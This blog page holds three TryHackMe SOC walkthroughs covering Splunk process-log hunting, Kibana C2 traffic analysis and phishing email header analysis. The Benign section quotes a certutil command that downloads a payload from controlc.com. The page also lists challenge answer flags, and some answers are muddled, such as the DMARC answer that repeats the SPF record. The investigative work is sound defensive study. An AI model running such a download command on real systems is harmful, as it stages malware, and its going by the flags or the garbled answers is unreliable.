TryHackMe on Roduygo | Blog

Benign - TryHackMe Walkthrough

Sun, 23 Aug 2026 23:40:00 +0700

One of the client’s IDS indicated a potentially suspicious process execution indicating one of the hosts from the HR department was compromised. Some tools related to network information gathering / scheduled tasks were executed which confirmed the suspicion. Due to limited resources, we could only pull the process execution logs with Event ID: 4688 and ingested them into Splunk with the index win_eventlogs for further investigation.

Network Information

The network is divided into three logical segments. It will help in the investigation.

IT Department: James, Moin, Katrina
HR department: Haroon, Chris, Diana
Marketing department: Bell, Amelia, Deepak

Task 1: Connect and Setup Lab

(No questions for this task)

Task 2: Investigation Questions

1. How many logs are ingested from the month of March, 2022?

Easy to find, set date from 01/03/2022 up to now.

Flag: 13959

2. Imposter Alert: There seems to be an imposter account observed in the logs, what is the name of that user?

When addressing this question, I briefly checked the list of usernames and tried a few, but without success; we need to filter out all the usernames present in this log to be able to detect them.

index="win_eventlogs" | stats count by UserName

Flag: Amel1a

3. Which user from the HR department was observed to be running scheduled tasks?

When filtering events related to the schedule, I identified four users; however, one user had only a single event. This appears quite unusual, given that schedules are typically used frequently, whereas malware often requires only a single instance of persistence.

index="win_eventlogs" schtasks UserName="Chris.fort"

When examining this user’s logs, it appears there was an attempt to keep the update.exe application running—and fortunately, that name turned out to be the flag.

Flag: Chris.fort

First, we will attempt to search for outputs related to the HR department’s hostname, then, we can examine the commands that were executed specifically focusing on one-time commands, as the problem statement implies the malware typically requires only a single download.

When I looked through these commands, I was quite surprised to find one that seemed very suspicious: a certutil command to the control domain with the -f parameter.

Now we just need to investigate exactly who carried it out.

Flag: haroon

5. To bypass the security controls, which system process (lolbin) was used to download a payload from the internet?

We will delve into an analysis of the command in the sentence above to find out:

certutil.exe -urlcache -f - https://controlc.com/e4d11035 benign.exe

certutil.exe is a legitimate, built-in Windows tool primarily responsible for managing, verifying, and configuring security certificates.

-urlcache: Connects to a specified URL.
-split: Extracts the retrieved data and forces the system to save it as a separate physical file on the hard drive. (Note: The flag -split wasn’t in the command above but is commonly used with certutil)

Flag: certutil.exe

6. What was the date that this binary was executed by the infected host? format (YYYY-MM-DD)

For the following questions, the answers are quite easy to find in the log above.

Flag: 2022-03-04

7. Which third-party site was accessed to download the malicious payload?

Flag: controlc.com

8. What is the name of the file that was saved on the host machine from the C2 server during the post-exploitation phase?

Flag: benign.exe

9. The suspicious file downloaded from the C2 server contained malicious content with the pattern THM{……….}; what is that pattern?

Flag: THM{KJ&*H^B0}

10. What is the URL that the infected host connected to?

Flag: https://controlc.com/e4d11035

Thank you for reading my blog, see you later!

ItsyBitsy - TryHackMe Challenges

Wed, 19 Aug 2026 16:30:00 +0700

Hello everyone, to continue our journey toward TryHackMe SOC Level 1 certification, today we will be tackling the ItsyBitsy room.

During normal SOC monitoring, Analyst John observed an alert on an IDS solution indicating a potential C2 communication from a user Browne from the HR department. A suspicious file was accessed containing a malicious pattern THM:{ ________ }. A week-long HTTP connection logs have been pulled to investigate. Due to limited resources, only the connection logs could be pulled out and are ingested into the connection_logs index in Kibana.

Our task in this room will be to examine the network connection logs of this user, find the link and the content of the file, and answer the questions.

Task 1: Setup and Connect Lab

(No questions for this task)

Task 2: Scenario - Investigate a potential C2 communication alert

1. How many events were returned for the month of March 2022?

Open Discover and set date.

Flag: 1428

2. What is the IP associated with the suspected user in the logs?

For this question, I examined the source IP addresses across the entire filtered log and found only two addresses, the correct answer is one of those two.

Flag: 192.166.65.54

3. The user’s machine used a legit windows binary to download a file from the C2 server. What is the name of the binary?

Leveraging the results from the previous IP address, we apply a GET method filter to identify the downloaded item, easily obtaining a log like the following:

Flag: bitsadmin

4. The infected machine connected with a famous filesharing site in this period, which also acts as a C2 server used by the malware authors to communicate. What is the name of the filesharing site?

The server mentioned here is the very location from which the C2 malware is downloaded, we can clearly see this in the log.

Flag: pastebin.com

5. What is the full URL of the C2 to which the infected host is connected?

Upon investigating the traffic flows from the infected server, we observed that after the malware was downloaded, a separate log entry showed the execution of an HTTP HEAD method; a closer examination of that log revealed communication with the specific target address.

Flag: pastebin.com/yTg0Ah6a

6. A file was accessed on the filesharing site. What is the name of the file accessed?

Paste the link you just found into your browser and see what it is.

Flag: secret.txt

7. What is the flag?

Flag: THM{SECRET__CODE}

Thank you for reading my blog, see you later!

The Greenholt Phish

Sat, 15 Aug 2026 12:00:00 +0700

For this scenario, it seems like we are going to investigate an email received from one of our sales executive. The executive wasn’t expecting an email from this customer, along with money being transferred to his account and an attachment that was not requested.

Task 1:What is the Transfer Reference Number listed in the email’s Subject line?

As soon as we open the challenge file in Thunderbird mai, the answer is right there before our eyes; the visible headers alone allow us to answer many of the questions below

Flag: 09674321

Task 2: What is the display name of the sender?

Flag: Mr.James Jackson

Continue investigating the email headers.

Task 3: What is the sender’s email address?

Flag: info@mutawamarine.com

Task 4: What email address will receive a reply to this email?

Flag: info.mutawamarine@mail.com Begin analyzing the message source.

Task 5: What is the originating IP address of this email?

Open source this mail with Ctrl +U , we can find this ip at received address

Flag: 192.119.71.157

Task 6: Who is the owner of the originating IP?

Search this ip with IP WHOIS Lookup

Flag: HostPapa Run an SPF record check on the Return-Path domain identified in the email headers.

Task 7: What is the full SPF record for this domain?

Copy this domain and paste to SPF Surveyor: mutawamarine.com

Flag: Hv=spf1 include:spf.protection.outlook.com -all

Task 8: What is the complete DMARC record for this domain?

Check this domain with (https://ondmarc.redsift.com/spf-surveyor).

Flag: v=spf1 include:spf.protection.outlook.com -all

Task 9: What is the file name of the attachment found in the email?

Search thì key attachment to find file name

Flag: SWT_#09674321____PDF__.CAB

Task 10: What is the SHA256 hash of the file attachment?

Run sha256sum SWT_#09674321____PDF__.CAB to find flag

sha256sum SWT_#09674321____PDF__.CAB

Flag: 2e91c533615a9bb8929ac4bb76707b2444597ce063d84a4b33525e25074fff3f

Task 11: What is the attachments file size? (Don’t forget to add “KB” to your answer, NUM KB)

I copied the hash value and looked it up at virustotal and found the size. Press enter or click to view image in full size

Flag: 400.26 KB

Task 12: What is the actual file extension of the attachment?

Heading over to the details tab, I saw that the file type is RAR. Press enter or click to view image in full size

Flag: RAR

Thank you for read my blog, see you latter